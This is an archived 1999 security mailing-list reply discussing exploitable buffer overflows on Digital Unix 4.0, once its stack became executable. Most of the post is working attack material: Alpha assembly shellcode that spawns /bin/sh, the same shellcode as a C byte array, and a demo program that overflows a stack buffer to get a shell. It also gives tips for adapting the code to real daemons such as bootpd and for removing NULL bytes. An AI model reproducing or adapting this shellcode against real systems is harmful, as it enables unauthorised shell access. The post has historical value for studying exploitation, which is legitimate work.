Re: Digital Unix 4.0 exploitable buffer overflows

From: Seth Michael McGann (smmat_private)
Date: Tue Jan 26 1999 - 12:18:08 PST

  • Next message: Vanja Hrustic: "Re: Win98 Crash?"

    On Mon, 25 Jan 1999, Lamont Granquist wrote:
    
    > Previously Digital Unix has been relatively immune to buffer overflow
    > attacks due to the lack of an executable stack in the 3.x versions.  For
    > the 4.0 versions the stack was made executable -- likely for JIT compilers
    > and maybe programs that need GCC-like trampolines.  This, of course,
    > greatly simplifies the coding of exploits.
    
    You would not believe how surprised I was to see this in my mailbox today.
    I had been working on Dec Unix shellcode and sort of abandoned the project
    after making a test exploit using an executable heap buffer.  Never
    believe anyone, always test it yourself.  Oh well.  Here is what I had
    come up with, it includes an asm of the shellcode as well as a demo
    exploit.  You will notice the large amount of zeros, in fact the PAL code
    for a syscall is 0x00000083.  So, we are not going to easily sidestep the
    problem of NULL removal as we can on x86.  My suggestion, is to use a
    technique used in several IMAP exploits, where the shellcode is encoded
    and then decoded.  At any rate, this should get you started.  And allow
    you to see for your self what needs to be done.
    
    Shellcode in asm:
    
    
    .globl main
    .ent main
    main:
    jmp egg         # find out where we are
    backhere:
    mov $26,$30
    mov  $26 , $16
    mov  $26, $1      # make a copy of ra
    addq $1, 0x08, $1 # offset 8
    mov  $1 , $17     # points at argv
    addq $1, 0x04, $1 # offset 8
    stq  $26, 8($30)
    stq  $31,  16($30)
    mov  0x0, $18      # move in the syscall number (execve in this case)
    addq $31,0x3b,$0   #
    .quad 0x00000083   # do the deed
    
    egg:
    bsr backhere
    .ascii "/bin/sh\0"
    .quad 0     # pointer to /bin/sh  (argv[0])
    .quad 0     # pointer to NULL
    .quad 0     # this is unnecessary, but i left it in for debug
    .quad 0
    .end
    
    Simple, eh? You'll notice all the common techniques used in this egg.
    This would be suitable for a bcopy overflow (iquery, bootpd...) just add
    the dup's and your set.  When you compile this with as you will nedd to
    strip off the headers and insert into the stack for it to work, lest it
    crash due to modifiying the text segment.  Here is an example loaded with
    the shellcode.
    
    Test program:
    
    char sc[]= { 0x0c, 0x00, 0xe0, 0xd3,0x01, 0x04, 0x5a, 0x47,
                 0x1e, 0x04, 0x5a, 0x47,0x01, 0x14, 0x21, 0x40,
                 0x11, 0x04, 0x21, 0x44,0x10, 0x04, 0x5a, 0x47,
                 0x08, 0x00, 0x5e, 0xB7,0x01, 0x94, 0x20, 0x40,
                 0x10, 0x00, 0xfe, 0xb7,0x00, 0x74, 0xe7, 0x43,
                 0x12, 0x04, 0xff, 0x47,0x83, 0x00, 0x00, 0x00,
                 0x1f, 0x04, 0xff, 0x47,0xF3, 0xFf, 0x5F, 0xD3,
                 '/', 'b','i','n','/','s','h',0x00,
                 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
                 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00};
    
    main(int argc,char **argv) {
    leaf();
    }
    
    leaf(){
    char blow[512];
    int i;
    unsigned long addr;
    
    addr=(unsigned long)blow;
    
    for(i=0;i<1024;i+=8) {
    blow[i]=addr & 0xFF;
    blow[i+1]=(addr >> 8) & 0xFF;
    blow[i+2]=(addr >> 16) & 0xFF;
    blow[i+3]=(addr >> 24) & 0xFF;
    blow[i+4]=(addr >> 32) & 0xFF;
    blow[i+5]=(addr >> 40) & 0xFF;
    blow[i+6]=(addr >> 48) & 0xFF;
    blow[i+7]=(addr >> 56) & 0xFF;
    }
    bcopy(sc,blow,sizeof(sc));
    }
    
    Simply compile and run, and you will receive a shell.  On Alphas you will
    need to return from the parent of the overflowing function to get any
    effect.  In this case leaf() overflows and on exit from main() we get our
    shell.  On another note, if you have a standard string overflow you will
    need to be wary of NULLs.  This shellcode can easily be converted to have
    no zero bytes using an encoding routine.  A bigger problem is the return
    address, which almost certainly will have nulls.  Since this is a little
    endian architecture we can fill in the least significant bits and be done
    with it.  A side effect is we have to guess the offset exactly, or no go.
    Anyway, just thought I'd post this before its obsolete :)  Maybe you will
    get something out of it while waiting for better code.
    
    Nice work Lamont.
    
    If you are running Digital Unix, I would be real worried right about now :)
    
    Seth McGann - smmat_private
    el8.org -w00w00 - WSD
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 14:31:20 PDT